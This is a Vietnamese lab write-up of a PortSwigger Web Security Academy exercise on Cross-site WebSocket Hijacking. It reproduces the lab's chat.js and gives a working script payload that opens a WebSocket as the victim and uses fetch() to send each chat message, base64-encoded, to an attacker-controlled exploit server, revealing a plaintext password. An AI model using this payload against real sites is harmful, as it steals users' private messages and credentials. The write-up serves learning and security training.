📌 Bài viết này thuộc chuỗi write-up quá trình tiếp cận và đáp án cho các bài lab từ Portswigger Web Academy mà mình đã làm trong thời gian thực tập tại NCSC.
Mình không thích lắm cái cách mấy idol viết write-up lab theo kiểu cứ như thể họ đã biết đáp án từ đầu – họ chẳng bao giờ đủ kiên nhẫn để giải thích cặn kẽ tại sao họ lại làm một cái gì đó. Vậy nên, write-up phong cách bạn Tiểu ra đời. Mình mong là bạn có được những câu trả lời thoả đáng qua loạt bài này. Những ý kiến góp ý, thảo luận, báo lỗi – luôn luôn được hoan nghênh dưới mục comment.
Đề bài
Ngữ cảnh: Tính năng chat sử dụng WebSocket có thể bị tấn công CSWSH.
Mục tiêu:
- Sử dụng Exploit server để lưu một file HTML/ JavaScript payload với tấn công CSWSH
- Đào bới lịch sử trò chuyện của nạn nhân để có được thông tin về tài khoản – mật khẩu
- Dùng thông tin này để đăng nhập thành công vào tài khoản của nạn nhân.
Giới thiệu: Cross-site WebSocket Hijacking (CSWSH)
Bài này chính là một điển hình cho một bài xứng đáng gán nhãn “Practitioner” trên Portswigger – nó đòi hỏi ta phải hiểu và kết hợp nhiều yếu tố khác nhau để đưa ra exploit cuối cùng – ở đây cụ thể là kiến thức về WebSocket và tấn công Cross-site Request Forgery (CSRF).
Hiểu đơn giản thì tấn công Cross-site WebSocket Hijacking cũng giống như một tấn công CSRF. Tuy nhiên, trong ngữ cảnh của WebSocket, tấn công này có thể được nâng cấp từ một tấn công CSRF chỉ-đọc (write-only) thành một tấn công cho phép ta cả đọc lẫn viết bằng cách thiết lập kết nối WebSocket mới với dịch vụ dưới thông tin xác thực của nạn nhân.

Điểm mấu chốt ở đây là kết nối WebSocket không bị hạn chế bởi chính sách cùng xuất xứ (SOP: Same-origin Policy) vốn đã phổ cập trên các trình duyệt bấy giờ, nên bạn tha hồ đưa yêu cầu HTTP xuất phát từ bất cứ đâu.
Bạn đọc quan tâm có thể đọc thêm về CSWSH trên blog của anh (idol tôi) Christian Schneider (OWASP). Cái tên cho tấn công này là do ông anh đặt.
Phân tích
Bài này tôi làm mãi đến cuối thì bị bế tắc, thành ra lại phải vứt liêm sỉ đi để tăm tia cái đáp án. Trong write-up này tôi sẽ cố gắng để giải thích cặn kẽ từng bước và tại sao chúng ta lại làm như thế – vừa là để tôi ôn lại bài, vừa là để mong bạn hiểu bản chất.
Công cuộc đầu tiên vẫn là đi recon, lượn một vòng cái chat xem nó hoạt động thế nào. Đã làm đến bài này rồi thì chúng ta nên thạo với việc kết hợp công cụ để nghía qua mã nguồn, request-response qua lại, xem có gì hữu ích hay không.


wss://
là viết tắt của WebSocket Security, còn ws://
là WebSocket.(function () {
var chatForm = document.getElementById("chatForm");
var messageBox = document.getElementById("message-box");
var webSocket = openWebSocket();
messageBox.addEventListener("keydown", function (e) {
if (e.key === "Enter" && !e.shiftKey) {
e.preventDefault();
sendMessage(new FormData(chatForm));
chatForm.reset();
}
});
chatForm.addEventListener("submit", function (e) {
e.preventDefault();
sendMessage(new FormData(this));
this.reset();
});
function writeMessage(className, user, content) {
var row = document.createElement("tr");
row.className = className
var userCell = document.createElement("th");
var contentCell = document.createElement("td");
userCell.innerHTML = user;
contentCell.innerHTML = (typeof window.renderChatMessage === "function") ? window.renderChatMessage(content) : content;
row.appendChild(userCell);
row.appendChild(contentCell);
document.getElementById("chat-area").appendChild(row);
}
function sendMessage(data) {
var object = {};
data.forEach(function (value, key) {
object[key] = htmlEncode(value);
});
openWebSocket().then(ws => ws.send(JSON.stringify(object)));
}
function htmlEncode(str) {
if (chatForm.getAttribute("encode")) {
return String(str).replace(/['"<>&\\r\\n\\\\]/gi, function (c) {
var lookup = {'\\\\': '\', '\\r': '
', '\\n': '
', '"': '"', '<': '<', '>': '>', "'": ''', '&': '&'};
return lookup[c];
});
}
return str;
}
function openWebSocket() {
return new Promise(res => {
if (webSocket) {
res(webSocket);
return;
}
let newWebSocket = new WebSocket(chatForm.getAttribute("action"));
newWebSocket.onopen = function (evt) {
writeMessage("system", "System:", "No chat history on record");
newWebSocket.send("READY");
res(newWebSocket);
}
newWebSocket.onmessage = function (evt) {
var message = evt.data;
if (message === "TYPING") {
writeMessage("typing", "", "[typing...]")
} else {
var messageJson = JSON.parse(message);
if (messageJson && messageJson['user'] !== "CONNECTED") {
Array.from(document.getElementsByClassName("system")).forEach(function (element) {
element.parentNode.removeChild(element);
});
}
Array.from(document.getElementsByClassName("typing")).forEach(function (element) {
element.parentNode.removeChild(element);
});
if (messageJson['user'] && messageJson['content']) {
writeMessage("message", messageJson['user'] + ":", messageJson['content'])
} else if (messageJson['error']) {
writeMessage('message', "Error:", messageJson['error']);
}
}
};
newWebSocket.onclose = function (evt) {
webSocket = undefined;
writeMessage("message", "System:", "--- Disconnected ---");
};
});
}
})();
chat.js
, thứ tôi tìm được trong mã nguồn. Hãy đọc kỹ hàm openWebSocket().
vì mục tiêu của chúng ta là thiết lập một kết nối WebSocket mới tới chat nhưng là từ Exploit server, nên ta cũng sẽ viết mã payload với các hàm giống như thế này. Làm như thế là để khi chúng được gọi đến, mã sẽ chạy theo logic mà ta đặt sau đó.

action
mở một kết nối WSS mới.Lời giải
Có ngần ấy thông tin trong tay rồi thì ta bắt tay vào giải thôi. Tôi đánh giá mình recon thì cũng vừa đủ đạt nhưng đặt payload thì cứ sai lên sai xuống mãi. (Hic!) Dưới đây là payload tôi tham khảo được:
- Đưa payload này vào phần Body trong file exploit trên Exploit server và lưu lại. Nhớ đổi địa chỉ thành địa chỉ WebSocket và Exploit server ID hiện tại của bạn.
<script> // Creating a new WebSocket instance and connecting to the specified URL var ws = new WebSocket('wss://0a8900a6036bee2082a5dd1300210076.web-security-academy.net/chat'); // Event handler for when the WebSocket connection is successfully opened ws.onopen = function() { // Sending the "READY" message to the server upon successful connection ws.send("READY"); }; // Event handler for when a message is received from the WebSocket ws.onmessage = function(event) { // Sending a fetch request to an exploit server with the received message encoded in base64 fetch('<https://exploit-0a47007003c0eec58270dcc101a9000e.exploit-server.net/exploit?msg=>' + btoa(event.data)); }; </script>
Giải thích một chút. Đoạn mã ngắn này có 3 tác vụ:
- Thiết lập kết nối đến WebSocket hiện tại (chính là kết nối của ô chat bạn đang mở), yêu cầu thêm kết nối đến nó.
- Hàm
ws.open = function()
, viết dựa trên logic của filechat.js
phía trên. Đơn giản là gửi tin “READY” để xác nhận mở kết nối thành công. - Hàm
ws.onmessage = function(event)
, lắng nghe sự kiện là có tin nhắn mới được gửi đi. Nếu sự kiện này xảy ra, mã hoá tin nhắn này bằng Base 64 với hàmbtoa()
và viết vào log exploit của mình theo cú pháp trongfetch()
.
2. Vào log, sau đó tìm log có phần msg
(tại tôi đặt cú pháp vậy – nếu bạn đặt khác thì cứ tìm theo cái bạn đã đặt). Nhận thấy có 5 tin nhắn qua lại, giữa nạn nhân của mình và người nhân viên hỗ trợ quên mật khẩu.
3. Decode từ Base 64 ra. Bạn có thể dùng các trang web decode sẵn có hoặc extension Hackvertor trong Burp.
4. Bạn sẽ thấy tin nhắn qua lại gửi thẳng mật khẩu bằng plain text. Và như vậy là cái kết của câu chuyện.

Trong quá trình làm bài này tôi phải tra khá nhiều kiến thức mới, nên tôi cũng cày qua khá nhiều bài viết. Write-up mà tôi ưng ý nhất là của Black Hills InfoSec, không chỉ có mỗi lời giải mà còn giải thích rất cụ thể về WebSocket và những gợi ý để bạn thực hiện tấn công này trên thực tế:
Can’t Stop, Won’t Stop Hijacking (CSWSH) WebSockets – Black Hills Information Security